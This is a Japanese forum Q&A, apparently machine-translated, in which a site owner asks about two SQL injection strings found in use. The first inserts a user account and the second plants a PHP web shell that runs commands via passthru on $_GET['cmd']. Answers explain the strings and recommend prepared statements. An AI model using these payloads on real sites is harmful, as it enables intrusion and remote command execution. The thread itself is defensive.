2012-04-15 14 views
-1
1. 

    ' union select 1, 'users (user, password) values (\'haxor\', 
      \'1337\') #', 2 # 

2. 

    ' union select 1, 'modules (plugin) values (\'if 
     (isset($_GET[\\\'cmd\\\'])) {passthru($_GET[\\\'cmd\\\']);}\') #', 2 
     # 
  • これらのコードスニペットは何ですか?
  • は、どのように私は私のphpファイルでそれらを防ぐことができますか?
  • 1337は何ですか?なぜたくさんあるのですか?

答えて

2

これらのコードは何を?

このような状況は状況によって異なりますが、その外観から見ると、最初のコードはログインシステムをバイパスしようとしています。もう1つは、ハッカーがサーバー上でコマンドを実行し、出力をブラウザに直接表示することを可能にするものです。 PHPのpassthru()ため

ドキュメント:http://php.net/manual/en/function.passthru.php

私は私のPHPファイルでそれらを防ぐことができますか?

SQLインジェクションを防ぐために多くの方法があります。最も推奨されるのは、PDOライブラリまたはMySQLiを使用し、準備されたステートメントのアドバンテージを取ることです。

1337とは何ですか?なぜたくさんあるのですか?すご腕、またはエリートのため

ハッカー "Sp33k":アーバン辞書(http://www.urbandictionary.com/define.php?term=1337ソース)から撮影

。ハッカーグループであるDead Cow Cultが、悪名高いハッキングプログラムであるBack Orificeを使ってWindows 95にアクセスするために使用したUDPポート31337「eleet」に由来します。

バックスラッシュを使用して特殊文字をエスケープします。詳細については、このWikiPediaの記事を参照してください。 http://en.wikipedia.org/wiki/Escape_character

+2

急いでダンプされた質問に対する回答です。 +1 – Nanne

1

SQLインジェクションを開始例の主要部分は、開始時に 'です。これは、サーバーが読み取る照会を変更します。

ユーザー入力のすべてをサニタイズすることが重要です。

関連する問題